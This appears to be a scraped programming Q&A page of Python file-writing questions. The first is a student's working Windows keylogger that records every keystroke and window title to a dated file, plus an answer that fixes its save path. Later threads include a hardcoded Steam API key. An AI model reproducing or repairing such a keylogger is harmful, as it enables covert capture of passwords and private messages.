Keylogger errors - python

im new to this site, this year we started learning python in school but we do the basic things and i was a bit bored so i was searching for interesting scripts untill i found how to make keylogger. I got some code but its not working. i fixed some of the errors but still
(NOTE1: i wont be using this anywhere else except my old pc so yeah, not trying to be a hacker or w/e)
(NOTE2: sorry for my bad english, im Greek :P)
import pyHook, pythoncom
from datetime import datetime
todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'
line_buffer = "" #current typed line before return character
window_name = "" #current window
def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file
def OnKeyboardEvent(event):
global line_buffer
global window_name
#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value
"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
if(line_buffer != ""): #if line buffer is not empty
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
line_buffer = "" #clear the line buffer
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
window_name = event.WindowName #set the new window name
"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: the line buffer
line_buffer = "" #clear the line buffer
return True #exit event
"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
line_buffer = line_buffer[:-1] #remove last character
return True #exit event
"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
pass #do nothing
else:
line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
line_buffer += chr(event.Ascii) #add pressed character to line buffer
return True #pass event to other handlers
hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events
The errors are:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'

As the error message already says, there is no problem with the code itself, but python have to have access to the folder you want to save your documents in. Try using a different folder or giving Python administrator rights when you run this program. For me file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt' worked perfectly fine.

Related

Cannot write in text file in python program

So I am making a python game and everything in the python programs is fine except for the writing part
Here is a part of GameFile2.py:
class lostToss():
def botChoose(self):
print("Bot is choosing between batting and bowling.")
for dot in range(5):
print((dot + 1) * ".")
time.sleep(0.25)
for x in range(10):
print("")
choices = ['Bat', 'Bowl']
botting = random.choice(choices)
print(f"And the bot has chose to {botting}")
time.sleep(1)
if botting == "Bat":
f = open("GamePoints.txt","w")
with open('GamePoints.txt, 'a+') as f:
f.write('52L05yt0smdwPMA4wgdTUF7Yh4dLT')
print('ok')
time.sleep(10)
import GameFile3
elif botting == "Bowl":
file = open("GamePoints.txt","w+")
with open('GamePoints.txt', 'a+') as file:
file.write('69L05yt0smdwPMA4wgdLOL7Yh4dLT')
time.sleep(2)
import GameFile3
The problem is in the 15th and 22nd line, I ran the file many times and the "ok" text
was printed but the code couldn't be written in the file.
Can anyone help?
Omit the file opening before the with statements. Like this
f = open("GamePoints.txt","w") # remove this line
with open('GamePoints.txt', 'a+') as f:
file = open("GamePoints.txt","w+") # remove this line
with open('GamePoints.txt', 'a+') as file:
In the first block, you are missing the closing quote after .txt.

Python: Writing to file using while loop fails with no errors given

I am attempting to collect only certain type of data from one file. After that the data is to be saved to another file. The function for writing for some reason is not saving to the file. The code is below:
def reading(data):
file = open("model.txt", 'r')
while (True):
line = file.readline().rstrip("\n")
if (len(line) == 0):
break
elif (line.isdigit()):
print("Number '" + line + "' is present. Adding")
file.close()
return None
def writing(data):
file = open("results.txt", 'w')
while(True):
line = somelines
if line == "0":
file.close()
break
else:
file.write(line + '\n')
return None
file = "model.txt"
data = file
somelines = reading(data)
writing(data)
I trying several things, the one above produced a TypeError (unsupported operand). Changing to str(somelines) did solve the error, but still nothing was written. I am rather confused about this. Is it the wrong definition of the "line" in the writing function? Or something else?
See this line in your writing function:
file.write(line + '\n')
where you have
line = somelines
and outside the function you have
somelines = reading(data)
You made your reading function return None. You cannot concat None with any string, hence the error.
Assuming you want one reading function which scans the input file for digits, and one writing file which writes these digits to a file until the digit read is 0, this may help:
def reading(file_name):
with open(file_name, 'r') as file:
while True:
line = file.readline().rstrip("\n")
if len(line) == 0:
break
elif line.isdigit():
print("Number '" + line + "' is present. Adding")
yield line
def writing(results_file, input_file):
file = open(results_file, 'w')
digits = reading(input_file)
for digit in digits:
if digit == "0":
file.close()
return
else:
file.write(digit + '\n')
file.close()
writing("results.txt", "model.txt")

How to make python continually save file io

I have the following code,
def main():
SucessCount = 0
line = []
StringList = ''
url = "https://api.steampowered.com/IDOTA2Match_570/GetMatchDetails/V001/?key=&match_id=1957663499"
http = urllib3.PoolManager()
for i in range(1860878309, 1860878309 + 99999999999999999 ):
with open("DotaResults.txt", "w") as file:
if SucessCount > 70000:
break
result = http.request('GET', 'https://api.steampowered.com/IDOTA2Match_570/GetMatchDetails/V001/?key=F878695BB3657028B92BCA60CEA03E16&match_id=' + str(i))
x = json.loads(result.data.decode('utf-8'))
if('error' in x['result']):
print("Not found")
else:
if validityCheck(x['result']['players']) == True and x['result']['game_mode'] == 22:
line = vectorList(x)
#print(line.count(1))
if(line.count(1) == 10 or line.count(1) == 11):
SucessCount += 1
print('Ok = ' + str(SucessCount))
print("MatchId = " + str(x['result']['match_id']))
StringList = ','.join([str(i) for i in line])
file.write(StringList + '\n')
if(SucessCount % 5 == 0):
file.flush()
file.close()
time.sleep(30)
The problem I am having is that when I press the stop button in pycharm(in normal running mode)nothing shows up in the file, even tho I am closing the file every time I loop. Does anybody know why or what i can do to fix this?
You need to make four changes:
Open the file before entering the for loop -- that is, swap the with statement and the for statement.
Open the file in "a" mode instead of "w" mode. "a" stands for "append". Right now, every time you reopen the file it erases everything you wrote to it before.
Call file.flush() immediately after file.write() (that is, before the if SucessCount % 5 == 0.)
Don't close the file before sleeping.
Incidentally, the word "success" is spelled with two Cs, and in Python you do not have to put parentheses around the controlling expression of an if statement.

KeyboardInterrupt close failed in file object destructor: sys.excepthook is missing lost sys.stderr

#!/usr/bin/env python
import sys, re
def find_position(line):
pun = ""
if re.search(r"[.?!]+", line):
pun = re.search(r"[.?!]+", line).group()
pos = line.find(pun)
pos = pos+len(pun)-1
return pos
def sentence_splitter(filename):
f = open(filename, "r")
for line in f:
line = line.strip()
print line + "\n"
while line:
pos = find_position(line)
line2 = line[ : pos+1].split(" ")
length = len(line2)
last_word = line2[length -1]
try:
if re.search(r"[A-Z]+.*", last_word) or line[pos+1] != " " or line[pos+2].islower() :
print line[:pos+1],
line = line[pos+1:]
else:
print line[ : pos+1]
line = line[pos+1 :]
except :
print " error here!!"
f.close()
return " bye bye"
if __name__=="__main__":
print sentence_splitter(sys.argv[1])
on executing it
python sentence_splitter6.py README | more
error occur
KeyboardInterrupt
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
also i have to press clr+c
it is not closed by its own
tried stuffs on this
How to handle a file destructor throwing an exception?
How to silence "sys.excepthook is missing" error?
links also but not saisfied please help
First of all, your problem is here:
while line:
pos = find_position(line)
line2 = line[:pos + 1].split(" ")
length = len(line2)
last_word = line2[length - 1]
line is not modified, so if its true once, it's always true, the while have no way to end.
Then, the KeyboardInterrupt does not comes from your execution but from you pressing C-c, halting your program.
Also you should respect the PEP8 while writing python code, also you can check it with flakes8 and/or pylint.
Here is PEP8 compliant version (still have the infinite loop):
#!/usr/bin/env python3
import sys, re
def find_position(line):
pun = ""
if re.search(r"[.?!]+", line):
pun = re.search(r"[.?!]+", line).group()
pos = line.find(pun)
pos = pos+len(pun)-1
return pos
def sentence_splitter(filename):
with open(filename, "r") as infile:
for line in infile:
line = line.strip()
print(line + "\n")
while line:
pos = find_position(line)
line2 = line[:pos + 1].split(" ")
length = len(line2)
last_word = line2[length - 1]
if ((re.search(r"[A-Z]+.*", last_word) or
line[pos+1] != " " or
line[pos+2].islower())):
print(line[:pos+1], end='')
line = line[pos+1:]
else:
print(line[:pos + 1])
line = line[pos + 1:]
return " bye bye"
if __name__ == "__main__":
print(sentence_splitter(sys.argv[1]))
Finally, you should comment your code so everyone including you can understand what you're doing, like:
def find_position(line):
"""Finds the position of a pun in the line.
"""
Also find_pun_position is probably a better name...

Python script works in command line, but not when running the .py file

I'm obviously still a beginner, but I'm creating a parsing file that goes through a text file, and builds a file that I need.
The logistics aren't as important as what's obviously happening.
import fileinput;
for lines in fileinput.FileInput("c:/manhattan.txt", inplace=1):
lines = lines.strip();
if lines == '': continue;
print(lines);
source = open('c:/manhattan.txt','r');
hrt = open('c:/test.hrt','w');
currentline = str(source.readline());
currentline.lstrip();
workingline = '';
while currentline[0] != " ":
if currentline[0].isdigit() == True:
if currentline[0:3] == workingline[0:3] and len(workingline)<160:
workingline = workingline + currentline[4:7];
currentline = str(source.readline());
currentline.lstrip();
else:
hrt.write(('\x01' + 'LOC01LOC' + workingline).ljust(401,' ') +'\n');
workingline = currentline[0:7].replace(';','E');
currentline = str(source.readline());
currentline.lstrip();
else:
currentline = str(source.readline());
currentline.lstrip();
hrt.write(('\x01'+'LOC50US1 A*').ljust(401,' ' +'\n');
hrt.write(('\x02'+'LOCSUNSAT00:0023:5960 60 99990.00 0.00').ljust(401,' ')+'\n');
hrt.write(('\x02'+'US SUNSAT00:0023:5960 60 99990.03 0.03').ljust(401,' ') +'\n');
hrt.close();
source.close();
It works fine in the python command line, but when running the .py file it does't write the last three lines to the file.
Any ideas?
Have you tried flushing the buffer before you close the file?
hrt.flush()

Categories

Resources